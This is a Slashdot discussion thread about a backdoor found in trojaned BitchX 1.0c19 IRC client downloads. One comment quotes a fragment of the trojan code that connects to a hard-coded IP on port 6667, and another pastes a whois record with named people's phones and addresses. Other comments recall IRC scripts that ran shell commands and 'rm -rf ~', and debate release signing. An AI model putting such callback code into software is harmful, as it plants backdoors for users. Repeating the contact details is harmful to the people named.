Slashdot Mirror


BitchX 1.0c19 IRC Client Backdoored

JRAC writes "A recent Bugtraq submission has indicated that the popular IRC client, BitchX, contains a backdoor. So far, only certain 1.0c19 files, downloaded from ftp.bitchx.com are reported to contain the malicious code. The BitchX developers have been notified, so hopefully a fix will be issued soon. Looks like irssi wasn't the only one ;)"

9 of 305 comments (clear)

  1. Most interesting... by phreak404 · · Score: 5, Interesting

    Is that when the vulnerability was first submitted they also submitted some interesting finds about the ftp server on BitchX.com serving trojaned and clean versions, depending on the originating IP, demonstrating that the server had been 0wned (more than likely).

    Sad that the developers didn't notice sooner, and it makes you wonder how many boxes have now additionally been 0wned because of this.

  2. Who's this? by Draoi · · Score: 5, Informative
    There's an interesting IP address hard-coded into the trojaned code;

    + sa.sin_port = htons (6667);
    + sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
    Doing a reverse-DNS lookup gives;
    ;; QUERY SECTION:
    ;; 17.115.77.213.in-addr.arpa, type = ANY, class = IN

    ;; ANSWER SECTION:
    17.115.77.213.in-addr.arpa. 1H IN PTR wenus.dtcomsa.com.
    .... so who are they??
    --
    Alison

    "It is a miracle that curiosity survives formal education." - Albert Einstein

    1. Re:Who's this? by Neil+Watson · · Score: 5, Informative
      PL is Poland.

      [nwatson@valetta ~]$whois 213.77.115.17
      % This is the RIPE Whois server.
      % The objects are in RPSL format.
      % Please visit http://www.ripe.net/rpsl for more information.
      % Rights restricted by copyright.
      % See http://www.ripe.net/ripencc/pub-services/db/copyri ght.html

      inetnum: 213.77.115.0 - 213.77.115.255
      netname: DATACOM
      descr: Datacom
      descr: Warszawa Bemowo
      country: PL
      admin-c: AW7760-RIPE
      tech-c: RW7118-RIPE
      status: ASSIGNED PA
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      route: 213.77.0.0/16
      descr: TPNET (PL)
      descr: Provider Local Registry
      origin: AS5617
      notify: konradpl@zt.piotrkow.tpsa.pl
      mnt-by: AS5617-MNT
      changed: konradpl@zt.piotrkow.tpsa.pl 20000728
      source: RIPE

      person: Arkadiusz Wrobel
      address: "DataCOM" S. A.
      address: ul Radiowa 21a m20
      address: 01 - 485 Warszawa
      address: POLAND
      phone: +48 606 298639
      fax-no: +48 22 6672495
      e-mail: awrobel@wat.waw.pl
      nic-hdl: AW7760-RIPE
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      person: Rafal Wrzosek
      address: "DataCOM" S. A.
      address: ul Kaliskiego 11a /312
      address: 01 - 485 Warszawa
      address: POLAND
      phone: +48 606 145187
      fax-no: +48 22 6672495
      e-mail: awrobel@wat.waw.pl
      nic-hdl: RW7118-RIPE
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      Yes, someone has most likely compromised the box and is using it for the backdoor. However, the owners of the box are still responsible for the lack of security that allowed their box to be compromised.

  3. ah, the good ol' days by MattW · · Score: 5, Funny

    This reminds me of the good old days, when people distributed like 20 different scripts for the irc2 client, all of which had some backdoor or another. Most of them listened for ctcp commands and would pass them directly to shell. CTCP GROK JUPE CMD ORD -- bonus points to anyone who can name all 4 scripts that had those backdoor commands. Then there were amusing tidbits like scripts that would flood anyone using the authors nick without the right hostmask. Then there was the 'Folder's Crystals' script -- it set your display to off, so you saw nothing even while you joined a channel and were saying, "I've just had all my files secretly replaced by folgers_crystals... let's see what happens!" (meanwhile, the script was executing rm -rf ~).

    Of course, back then, you could blame people for running something they didn't understand, since it was on the order of getting a whack-a-bill game by email and just running it, whereas tainted downloads aren't quite as shameful, but ah, it does bring back the memories of the Wild Days of irc...

  4. Digitally sign your sources... by Cyclops · · Score: 5, Informative

    Many don't digitally sign their sources with a secure key, and thus there is absolutely no way to verify that those sources are the ones the developer intended to release.

    Many think that a simple md5sum alongside the sources is enough. IT IS NOT. Any attacker who replaces the sources can as easily replace the md5sum, which can be generated by anyone.

    A digital signature (I suggest using gpg) can only be generated by YOU if you keep it in a secure place, and use it to sign the sources. The public side of this key should be widely distributed and preferably signed (that is recognized) by third parties... the most trustworthy these third parties can be, the better.

    After the huge attack on the network where such sites as Apache were hosted, other Apache projects which did not sign their packages suddenly started signing them. They got scared. You should be too.

    A lot of people instinctively trust their dns resolutions (oops) and also think that if they go to http://www.mozilla.org they will get their favorite browser for sure. They are also wrong. dns can be spoofed under certain conditions, so they could be going to crackersR.us instead, and downloading a neat trojaned source, for instance.

    The more a project grows in fame, the more it will become a likely target for these kinds of attacks, so the more need to a degree of responsability that should not be needed, but it unfourtunately is since the danger is ubiquitous.

    Be carefull, be very carefull.

    Also avoid using user root period.

  5. GNU/Linux needs signed downloads by splorf · · Score: 5, Insightful
    I'm sorry but this is one thing Microsoft and/or Netscape did right. The practice of including detached PGP signatures on download sites is useless--they have to be manually verified, and hardly anyone bothers.

    GNU/Linux downloads should be in signed archives like Netscape JAR files. JAR files are basically ZIP archives with a signature file stored inside the .zip in a standard place. When you unpack the archive, the unpacker checks the signature the same way a browser checks an SSL web site.

    JAR files use a certificate chain ending in a certificate authority (usually a commercial one) but maybe the signed-download scheme could be signed against a certificate on the official developer's website. Of course that wouldn't be unspoofable, but it would be as secure as the current scheme of having a PGP public key on the developer website and signing against that. The main benefit is the checking would happen automatically, so it would be much harder to put crap into downloads. If someone makes a modified version, they would have to sign it themselves (with a signature pointing back to their own website) or else the unpacker would print a message saying the code was unsigned and the user should check it carefully before using it.

  6. Re:See, this is what's cool about OSS.. by toupsie · · Score: 5, Insightful
    If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

    Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor, modify the FTP server and set up a bizarre distribution method (has anyone figured this out yet?). Granted many eyes helped find this problem, but in a closed source world, this wouldn't happen unless you had a disgruntled employee or a really stupid project manager. If BitchX were a commercial, closed source product, the exploit would most likely be a buffer overflow, not a blatant backdoor.

    Disclaimer: I use a closed source IRC product called, Ircle.

    --
    Strange women lying in ponds distributing swords is no basis for a system of government.
  7. Re:See, this is what's cool about OSS.. by Fizzlewhiff · · Score: 5, Insightful

    Not sure but on my non OSS operating system I run firewalls and intrusion detection software to help me catch spyware and other things which are accessing ports which I am not aware of. Since I'm not the only one who does this I would think the backdoor would be found. You don't have to see the source code to find holes if you can see the holes.

    Frankly I am quite tired of this common belief that thousands of eyes are constantly scanning OSS looking for problems to fix. In the 9 or so years I have been using Linux and GNU software I have never looked for such things. Maybe that is because I am a developer and spend enough time with my code. Even when I first started with Linux and things like CDROM and NICs required patching and compiling I was content with the code I was downloading. Hobbiests tended not to screw other hobbiests (unless money is changing hands) and I tend to still believe that. I really doubt there are that many people who police code. If you are working on something and notice a problem then you submit a patch but the belief of a huge and constant code review going on is a false one as far as I am concerned.

    With the popularity of Linux and free software however and the perceived threat to some commercial software it might be wise for OSS project leaders to be extra careful of new code that slips in. I have belived for a while that sooner or later we will see companies like Microsoft or Sun let slip some pattented code into a free software project just so they can come back later and shut it down with a lawsuit. Face it, these companies are getting hurt. A project like Mono has the potential to hurt .Net and if successful hurt Java. I would not have thought that someone would slip in a backdoor into a project however.

    Anyway, I don't think you can look at OSS or a closed source project and say one is more "secure" than the other. I think it really comes down to how it is managed and the quality of the people who are contributing. You might also want to consider they type of application.

    As far as IRC goes, this is a community where you are judged by how "bad-ass" your kick scripts are and your "l33t h4xx0r" skills. I'd be cautious of any IRC tool I used for that matter.

    --

    'Same speed C but faster'
  8. Re:Enough talk by idiot900 · · Score: 5, Funny

    deliver a Slashdot can of whoop ass.

    What would that be exactly? Sending too many visitors to their website?